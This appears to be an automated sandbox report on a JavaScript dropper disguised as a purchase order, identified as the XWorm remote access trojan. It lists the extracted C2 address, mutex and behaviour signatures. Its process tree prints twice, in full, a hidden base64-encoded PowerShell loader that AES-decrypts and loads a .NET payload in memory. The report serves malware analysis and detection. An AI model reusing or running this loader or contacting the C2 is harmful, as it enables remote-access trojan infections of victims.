Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
26/08/2026, 13:26
General
- Target Purchase Order PO01100469.js
- Size 585KB
- Sample260826-qpre4sxtat
- SHA256 b83baa390f4548b5c1bc2bba6a866b5275ebe70d817ba75c1162c6dc369af4a2
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
5.0
C2
-
104.251.180.194:7007
Mutex
-
rgLmTeR2GoFk2IoI
Attributes
-
install_file
USB.exe
aes.plain
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Order PO01100469.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -EncodedCommand JABwAE4ATgBrAGsAaAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgAzADUANQA1ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB3AG0ASAB5AFEAUgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA4ADYANQAwACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAByAG0AQQBIAHEARAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAHAATgBOAGsAawBoACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJAB3AG0ASAB5AFEAUgApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABwAE4ATgBrAGsAaAAsACQAdwBtAEgAeQBRAFIAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQASgBSAGoARQBzAGQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcgBtAEEASABxAEQAKQA7ACQAdQBmAGQAYQBCAFkAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAAnACsAJwB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgAnACsAJwBhAGcAJwArACcAZQBkACcAOwAkAHEAYQB4AGcAeABMAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0ACcAKwAnAGkAdgBhAHQAbwByACcAKQA7ACQAcQBhAHgAZwB4AEwAPQAkAHEAYQB4AGcAeABMADoAOgAoACcAQwByAGUAYQB0AGUAJwArACcASQBuAHMAdABhAG4AJwArACcAYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAdQBmAGQAYQBCAFkAKQA7ACQAcQBhAHgAZwB4AEwALgBNAG8AZABlAD0AMQA7ACQATAByAEgAUQByAGQAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgANgA2ADcALwA0ADEAKQA7ACQAcQBhAHgAZwB4AEwALgBQAGEAZABkAGkAbgBnAD0AMgA7ACQAUgBnAHAASABlAFAAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAMgAzADMAOAAvADMANQApADsAJABxAGEAeABnAHgATAAuAEsAZQB5AD0AWwBiAHkAdABlAFsAXQBdAEAAKAAwAHgANQA4ACwAMAB4ADUAMgAsADAAeAAzAEMALAAwAHgAQQBEACwAMAB4AEUARgAsADAAeABDADkALAAwAHgARAAwACwAMAB4ADYAMQAsADAAeAAyADAALAAwAHgANAAxACwAMAB4ADUARAAsADAAeABFADYALAAwAHgAOABEACwAMAB4ADAANQAsADAAeAAwAEMALAAwAHgANgA0ACkAOwAkAHEAYQB4AGcAeABMAC4ASQBWAD0AWwBiAHkAdABlAFsAXQBdAEAAKAAwAHgAMQBEACwAMAB4AEQANgAsADAAeABDADEALAAwAHgARQBFACwAMAB4ADkAMwAsADAAeABBAEQALAAwAHgANgBGACwAMAB4AEUANQAsADAAeAAyAEIALAAwAHgAOABBACwAMAB4AEUAMgAsADAAeAA4AEEALAAwAHgAQQA3ACwAMAB4ADIAQgAsADAAeAA3ADMALAAwAHgAOAAwACkAOwAkAHoAaQBJAFkAcABUAD0AMQA2ADUAOAA7AGkAZgAoACQAegBpAEkAWQBwAFQAIAAtAGwAdAAgADAAKQB7ACQAeAB3AEIAVQB5AEIAPQA5ADIAfQA7ACQAZQBaAFEAZgBtAEsAPQAnAEMAcgAnACsAJwBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACcAOwAkAFcAUgBHAFgAcgBRAD0AJABxAGEAeABnAHgATAAuACQAZQBaAFEAZgBtAEsAKAApADsAJAB6AHMAegBvAGwAVwA9AEAAKAAyADAAMgAsADIAMwAwACwAMgAyADYAKQA7ACQAbgB1AGwAbAA9ACQAegBzAHoAbwBsAFcALgBDAG8AdQBuAHQAOwAkAEEAZABrAGUAdgByAD0AJwBUAHIAJwArACcAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgAnACsAJwBsAG8AYwBrACcAOwAkAFQAYQBKAGsASwBOAD0AJABXAFIARwBYAHIAUQAuACQAQQBkAGsAZQB2AHIAKAAkAEoAUgBqAEUAcwBkACwAMAAsACQASgBSAGoARQBzAGQALgBMAGUAbgBnAHQAaAApADsAJABIAEgAcwBEAFoAUgA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgAnACsAJwBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAnADsAJABJAG0AZwBtAEoAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAEgASABzAEQAWgBSACgALAAkAFQAYQBKAGsASwBOACkAOwAkAFQASgByAFYAQwBYAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQASABIAHMARABaAFIAOwAkAFUAaQBjAEMAbgBSAD0AWwBNAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoADEANQA1ADEALwA2ACkAOwAkAHEAYQBWAFEAZgBoAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0ACcAKwAnAHIAZQAnACsAJwBhAG0AJwA7ACQAQgB0AGUAbABIAGYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABxAGEAVgBRAGYAaAAoACQASQBtAGcAbQBKAHMALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABsAFMAdwBJAHEAcAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADQAMAA5ADYAOwB3AGgAaQBsAGUAKAAoACQAZwBDAHUAeQBMAHMAPQAkAEIAdABlAGwASABmAC4AUgBlAGEAZAAoACQAbABTAHcASQBxAHAALAAwACwAJABsAFMAdwBJAHEAcAAuAEwAZQBuAGcAdABoACkAKQAtAGcAdAAgADAAKQB7ACQAVABKAHIAVgBDAFgALgBXAHIAaQB0AGUAKAAkAGwAUwB3AEkAcQBwACwAMAAsACQAZwBDAHUAeQBMAHMAKQB9ADsAJABUAGsAcQBkAEQAbQA9AEAAKAAyADQAOQAsADEANQAwACwAMQA3ACkAOwAkAG4AdQBsAGwAPQAkAFQAawBxAGQARABtAC4AQwBvAHUAbgB0ADsAJABUAGEASgBrAEsATgA9ACQAVABKAHIAVgBDAFgALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQAWgBiAFoAeABQAG0APQAnAGcAUgBJAEsAYgBKACcAOwAkAG4AdQBsAGwAPQAkAFoAYgBaAHgAUABtAC4ATABlAG4AZwB0AGgAOwAkAGIAawBDAHAARgBnAD0AWwB0AHkAcABlAF0AKAAnAFMAeQBzAHQAZQAnACsAJwBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQAnACkAOwAkAHoAdQB4AHoARgBkAD0AJABiAGsAQwBwAEYAZwA6ADoAKAAnAEwAbwAnACsAJwBhAGQAJwApACgAJABUAGEASgBrAEsATgApADsAJABqAGkAQQBUAGEARgA9ACcARQBuAHQAJwArACcAcgB5AFAAbwAnACsAJwBpAG4AdAAnADsAJABYAHYAWABaAEIAeAA9ACQAegB1AHgAegBGAGQALgAkAGoAaQBBAFQAYQBGADsAJABYAHYAWABaAEIAeAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAKAAsAFsAcwB0AHIAaQBuAGcAWwBdAF0AQAAoACkAKQApAA==2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABwAE4ATgBrAGsAaAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgAzADUANQA1ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB3AG0ASAB5AFEAUgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA4ADYANQAwACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAByAG0AQQBIAHEARAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAHAATgBOAGsAawBoACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJAB3AG0ASAB5AFEAUgApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABwAE4ATgBrAGsAaAAsACQAdwBtAEgAeQBRAFIAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQASgBSAGoARQBzAGQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcgBtAEEASABxAEQAKQA7ACQAdQBmAGQAYQBCAFkAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAAnACsAJwB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgAnACsAJwBhAGcAJwArACcAZQBkACcAOwAkAHEAYQB4AGcAeABMAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0ACcAKwAnAGkAdgBhAHQAbwByACcAKQA7ACQAcQBhAHgAZwB4AEwAPQAkAHEAYQB4AGcAeABMADoAOgAoACcAQwByAGUAYQB0AGUAJwArACcASQBuAHMAdABhAG4AJwArACcAYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAdQBmAGQAYQBCAFkAKQA7ACQAcQBhAHgAZwB4AEwALgBNAG8AZABlAD0AMQA7ACQATAByAEgAUQByAGQAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgANgA2ADcALwA0ADEAKQA7ACQAcQBhAHgAZwB4AEwALgBQAGEAZABkAGkAbgBnAD0AMgA7ACQAUgBnAHAASABlAFAAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAMgAzADMAOAAvADMANQApADsAJABxAGEAeABnAHgATAAuAEsAZQB5AD0AWwBiAHkAdABlAFsAXQBdAEAAKAAwAHgANQA4ACwAMAB4ADUAMgAsADAAeAAzAEMALAAwAHgAQQBEACwAMAB4AEUARgAsADAAeABDADkALAAwAHgARAAwACwAMAB4ADYAMQAsADAAeAAyADAALAAwAHgANAAxACwAMAB4ADUARAAsADAAeABFADYALAAwAHgAOABEACwAMAB4ADAANQAsADAAeAAwAEMALAAwAHgANgA0ACkAOwAkAHEAYQB4AGcAeABMAC4ASQBWAD0AWwBiAHkAdABlAFsAXQBdAEAAKAAwAHgAMQBEACwAMAB4AEQANgAsADAAeABDADEALAAwAHgARQBFACwAMAB4ADkAMwAsADAAeABBAEQALAAwAHgANgBGACwAMAB4AEUANQAsADAAeAAyAEIALAAwAHgAOABBACwAMAB4AEUAMgAsADAAeAA4AEEALAAwAHgAQQA3ACwAMAB4ADIAQgAsADAAeAA3ADMALAAwAHgAOAAwACkAOwAkAHoAaQBJAFkAcABUAD0AMQA2ADUAOAA7AGkAZgAoACQAegBpAEkAWQBwAFQAIAAtAGwAdAAgADAAKQB7ACQAeAB3AEIAVQB5AEIAPQA5ADIAfQA7ACQAZQBaAFEAZgBtAEsAPQAnAEMAcgAnACsAJwBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACcAOwAkAFcAUgBHAFgAcgBRAD0AJABxAGEAeABnAHgATAAuACQAZQBaAFEAZgBtAEsAKAApADsAJAB6AHMAegBvAGwAVwA9AEAAKAAyADAAMgAsADIAMwAwACwAMgAyADYAKQA7ACQAbgB1AGwAbAA9ACQAegBzAHoAbwBsAFcALgBDAG8AdQBuAHQAOwAkAEEAZABrAGUAdgByAD0AJwBUAHIAJwArACcAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgAnACsAJwBsAG8AYwBrACcAOwAkAFQAYQBKAGsASwBOAD0AJABXAFIARwBYAHIAUQAuACQAQQBkAGsAZQB2AHIAKAAkAEoAUgBqAEUAcwBkACwAMAAsACQASgBSAGoARQBzAGQALgBMAGUAbgBnAHQAaAApADsAJABIAEgAcwBEAFoAUgA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgAnACsAJwBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAnADsAJABJAG0AZwBtAEoAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAEgASABzAEQAWgBSACgALAAkAFQAYQBKAGsASwBOACkAOwAkAFQASgByAFYAQwBYAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQASABIAHMARABaAFIAOwAkAFUAaQBjAEMAbgBSAD0AWwBNAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoADEANQA1ADEALwA2ACkAOwAkAHEAYQBWAFEAZgBoAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0ACcAKwAnAHIAZQAnACsAJwBhAG0AJwA7ACQAQgB0AGUAbABIAGYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABxAGEAVgBRAGYAaAAoACQASQBtAGcAbQBKAHMALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABsAFMAdwBJAHEAcAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADQAMAA5ADYAOwB3AGgAaQBsAGUAKAAoACQAZwBDAHUAeQBMAHMAPQAkAEIAdABlAGwASABmAC4AUgBlAGEAZAAoACQAbABTAHcASQBxAHAALAAwACwAJABsAFMAdwBJAHEAcAAuAEwAZQBuAGcAdABoACkAKQAtAGcAdAAgADAAKQB7ACQAVABKAHIAVgBDAFgALgBXAHIAaQB0AGUAKAAkAGwAUwB3AEkAcQBwACwAMAAsACQAZwBDAHUAeQBMAHMAKQB9ADsAJABUAGsAcQBkAEQAbQA9AEAAKAAyADQAOQAsADEANQAwACwAMQA3ACkAOwAkAG4AdQBsAGwAPQAkAFQAawBxAGQARABtAC4AQwBvAHUAbgB0ADsAJABUAGEASgBrAEsATgA9ACQAVABKAHIAVgBDAFgALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQAWgBiAFoAeABQAG0APQAnAGcAUgBJAEsAYgBKACcAOwAkAG4AdQBsAGwAPQAkAFoAYgBaAHgAUABtAC4ATABlAG4AZwB0AGgAOwAkAGIAawBDAHAARgBnAD0AWwB0AHkAcABlAF0AKAAnAFMAeQBzAHQAZQAnACsAJwBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQAnACkAOwAkAHoAdQB4AHoARgBkAD0AJABiAGsAQwBwAEYAZwA6ADoAKAAnAEwAbwAnACsAJwBhAGQAJwApACgAJABUAGEASgBrAEsATgApADsAJABqAGkAQQBUAGEARgA9ACcARQBuAHQAJwArACcAcgB5AFAAbwAnACsAJwBpAG4AdAAnADsAJABYAHYAWABaAEIAeAA9ACQAegB1AHgAegBGAGQALgAkAGoAaQBBAFQAYQBGADsAJABYAHYAWABaAEIAeAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAKAAsAFsAcwB0AHIAaQBuAGcAWwBdAF0AQAAoACkAKQApAA==3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
9qmmta4nvxoa
9qmmta4nvxob
memory/1264-14-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-15-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-9-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-8-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-10-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-4-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-11-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-3-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-2-0x00007FFBE047F000-0x00007FFBE0480000-memory.dmp
memory/1264-7-0x0000028CB4790000-0x0000028CB47B2000-memory.dmp
memory/1264-16-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-17-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-18-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-20-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-19-0x0000028CB4CA0000-0x0000028CB4CF0000-memory.dmp
memory/1264-21-0x0000028CB4780000-0x0000028CB4792000-memory.dmp
memory/1264-22-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-23-0x0000028CB53D0000-0x0000028CB53E0000-memory.dmp
memory/1264-24-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp
memory/1264-25-0x00007FFBE02F0000-0x00007FFBE0C94000-memory.dmp